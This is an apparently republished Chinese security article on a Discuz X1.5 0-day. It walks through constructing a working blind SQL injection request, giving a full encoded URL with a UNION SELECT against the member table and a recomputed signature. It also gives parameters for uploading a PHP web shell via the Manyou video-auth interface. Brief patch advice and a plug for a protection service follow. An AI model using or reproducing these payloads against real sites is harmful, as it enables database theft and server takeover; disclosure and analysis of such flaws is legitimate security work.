Discuz X1.5最近被爆出0Day,利用該0Day可以直接獲取WebShell,危害等級高,獲取的管理權限;下面我們一起來看看漏洞成因。
在api/trade/notify_credit.php的27行處,程序將$notifydata[‘order_no’]直接賦給$orderid,并帶入到查詢。

接著往上看,$notifydata是如何產生的,發(fā)現(xiàn)如下:

$notifydata 是由函數trade_notifycheck函數返回的數組變量,在api/trade/api_tenpay.php中432行,

正常情況下,Discuz對用戶傳入的變量都有進行轉義處理,但在api_tenpay.php中,卻是重新獲取$_GET,$_POST變量來進行處理,而且沒有進行任何過濾處理,

顯然在上面的參數獲取和傳遞過程中,沒有對變量進行任何過濾,因此攻擊者可以通過對mch_vno變量進行惡意構造,從而控制$orderid,最后導致在數據庫查詢處產生注入漏洞。
下面來進行有效的惡意攻擊代碼構造:
由于Discuz對提交的參數會有個校驗值,因此我們需要重新計算自己的校驗值:
$resHandler->isTenpaySign()

為了讓程序按照我們的流程執(zhí)行,在這里我們需要對這幾個變量賦值:
attach=tenpay /*包含漏洞所在文件*/
retcode=0 /*使$notifydata['validator']=1*/
mch_vno=$sql_exp /*惡意構造,直接帶入數據庫查詢的語句*/
因此我們自己構造的校驗值計算如下:
sign= md5(“key=&attach=tenpay&mch_vno=$sql_exp&retcode=0”),
由于該注入過程中沒有顯錯信息,只能利用盲注來進行密碼的猜解,為了達到更好地演示效果,我們這里將最終帶入數據庫的SQL語句顯示出來,在source/class/class_core.php的663行中,進行如下修改:

構造的Sql_Exp:
api/trade/notify_credit.php?attach=tenpay&retcode=0&mch_vno=%2527%
2Band%2B%25271%2527%253D%25272%2527%2BUNION%2BSELECT%2B0%252C1%252C0%252C0%252C0%252C0%
252C0%252C0%252C0%252C0%2BFROM%2Bpre_common_member_field_home%2BWHERE%2Buid%253D1%2BAND%
2B%2527%2527%253D%2527&sign=233afe848a5d4b994871dad94901fd4e
在本地演示的效果如下:

顯然我們已經成功的控制參數mch_vno,并能產生明顯的SQL注入攻擊。
下面我們來看看/api/manyou/my.php的上傳漏洞:

在my.php中,首選創(chuàng)建一個繼承Manyou的類My,然后創(chuàng)建一個My的實例,接著調用Manyou父類的run()函數,我們跟進run()函數查看:

在run()函數中,程序會調用_processServerRequest()對提交的參數進行處理,而該函數會獲取客戶端POST提交的參數,根據提交的參數獲取相應的擴展接口,


而在my.php文件中的onVideoAuthAuth的函數中,由于沒有對文件的擴展名進行判斷,因此我們可以直接構造php一句話,利用該函數寫入一句話,因此這樣我們需要提交的參數構造如下:
構造的Upload_Exp:
$module = ‘video’;
$method = ‘authauth’;
$params=array(0=>1,1=>base64_encode(“”),2=>”php”);
$params=serialize($params);

但是由于上傳成功后,Discuz并不會返回shell的文件名的和路徑,因此需要借助注入漏洞來猜解文件的路徑,因此上傳漏洞的成功利用還需要借助注入的輔助。
安全建議:
1.下載官方補丁或下載最新的Discuz版本程序使用;
2.直接用網站保護系統(tǒng),可以無需補丁。
對于沒有第一時間打上補丁的網站,很容易成為的攻擊目標,從而導致網站被或數據被刪除,或者淪為黑客的肉雞;筆者有幸拿到了Nevel網站保護系統(tǒng)的邀請碼,對于加入Nevel保護的網站,則完全不用擔心這些問題,因為當攻擊者嘗試提交這些的時候,Nevel會檢測到這些攻擊代碼,當檢測到這些代碼的時候直接將這些數據丟棄,并不會傳到你的服務器進行響應,也就不會產生安全,更不會被入侵;下面是對加入Nevel保護的網站進行攻擊的效果圖,如下圖:

(責任編輯:鉬鐵)